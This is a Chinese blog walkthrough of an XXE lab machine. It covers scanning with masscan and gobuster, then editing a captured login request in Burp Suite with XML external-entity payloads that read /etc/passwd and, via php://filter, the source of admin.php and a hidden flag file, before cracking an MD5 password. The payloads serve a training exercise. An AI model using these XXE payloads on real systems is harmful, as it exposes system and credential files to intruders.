P4 利用XXE靶机 -XXE(XML外部实体注入漏洞)复现

大家好!
我是小黄,很高兴又跟大家见面啦 !
拒绝水文,从我做起 !!!!
今天更新的是:


创建时间:2021年3月22日
软件: kali 2020.4 、Burp Suite Pro 、火狐浏览器 、XXE靶机


XXE漏洞复现

环境准备

  • kali配置
  1. 安装masscan : apt-get install masscan
  2. 安装gobuster: apt-get install gobuster
  3. 安装字典:apt-get install seclists
  • 利用masscan 扫描当前端口局域网内存活主机:masscan -p80 192.168.244.0/24
  • 模板:masscan -p扫描端口号 ip地址网段/24

在这里插入图片描述

  • 扫描ip地址下面的目录 :gobuster dir -u http://192.168.244.136 -w /usr/share/seclists/Discovery/Web-Content/common.txt -t 20
  • 模板:gobuster dir -u IP地址 -w 存放的字典 -t 运行的线程数
  • 可以查看到当前IP地址下可以访问的目录

在这里插入图片描述

  • 打开 http://192.168.244.136/robots.txt 可以查看到一个隐藏文件admin.php
  • 浏览器打开 IP地址 :80 /想要访问的目录

在这里插入图片描述

  • 浏览器打开刚才我们找到的隐藏文件 http://192.168.244.136/xxe/admin.php可以看得出这是一个后台界面

-

  • 我们在浏览器打开XXE登录界面:http://192.168.244.136/xxe/

在这里插入图片描述

  • 我们打开Burp Suite 随意输入用户名和密码进行登录的抓包,来查看抓包文件。
  • 将抓取到的数据包发送到 Repeater 来进行分析

在这里插入图片描述
在这里插入图片描述

  • 修改抓到的数据包中的XML内容,使其返回 file:///etc/passwd 的内容
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "file:///etc/passwd">
]>
<root><name>&sp;</name><password>hj</password></root>

在这里插入图片描述

  • 继续在数据包中修改XML代码,尝试获取到账户名和账户密码
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=admin.php">
]>
<root><name>&sp;</name><password>hj</password></root>

在这里插入图片描述

  • 将右侧返回的 base 64位编码进行反编译得到关于密码的md5串
  • 将右侧的base 64位编码复制发送到Decoder中尝试去反编译

在这里插入图片描述

  • 检查代码,我们发现账户名为:administhebest ,密码为:MD5编码串

在这里插入图片描述

  • 打开在线MD5编码串进行解析,得到密码 、密码为:admin@123

在这里插入图片描述

  • 拿到账户和密码之后,登录我们之前发现的后台登录界面、登录成功之后拿到Flag

在这里插入图片描述

  • 下面就属于玄学操作了 !!!!
  • 正常情况下,直接点击界面上的Flag 就可以得到Flag
  • 因为我得到过一次,我再次重复操作发现爆404错误、没关系我们可以尝试利用抓包来实现,将点击Flag 跳转的界面的后缀文件放到抓包文件中去进行替换然后重新发送得到base64位编码发送到Docker进行转换得到Flag

在这里插入图片描述
在这里插入图片描述
在这里插入图片描述

  • 将得到的Flag 进行base32 位转码得到base64位,再次进行转换得到文件路径

-
在这里插入图片描述

  • 将得到的文件路径放到之前抓取的登录文件数据包中再次发送
  • 将得到的base64位编码进行转换
  • 将转换得到的数据(木马),复制下来新建php文件。
<?xml version="1.0" ?>
<!DOCTYPE r [
<!ELEMENT r ANY >
<!ENTITY sp SYSTEM "php://filter/read=convert.base64-encode/resource=/etc/.flag.php">
]>
<root><name>&sp;</name><password>hj</password></root>

在这里插入图片描述
在这里插入图片描述

  • 放到存放PHPStudy文件夹下,进行访问http://127.0.0.1/1.php
  • 模板:IP地址 / 文件名称.php
  • 复现成功

在这里插入图片描述


走过路过的朋友,如果觉得可以学到些什么的话,点个赞 再走吧,欢迎各位路过的大佬评论,指正错误,也欢迎有问题的小伙伴评论留言,私信。

每个小伙伴的关注都是本人更新博客的动力!!!
请微信搜索【 在下小黄 】文章更新将在第一时间阅读 !
在这里插入图片描述

把握现在 ,展望未来 ,加油 !


由于水平有限 ,写的难免会有些不足之处 ,恳请各位大佬不吝赐教 !

  • 1
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

在下小黄

ღ给个赞 是对小黄最大的支持

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值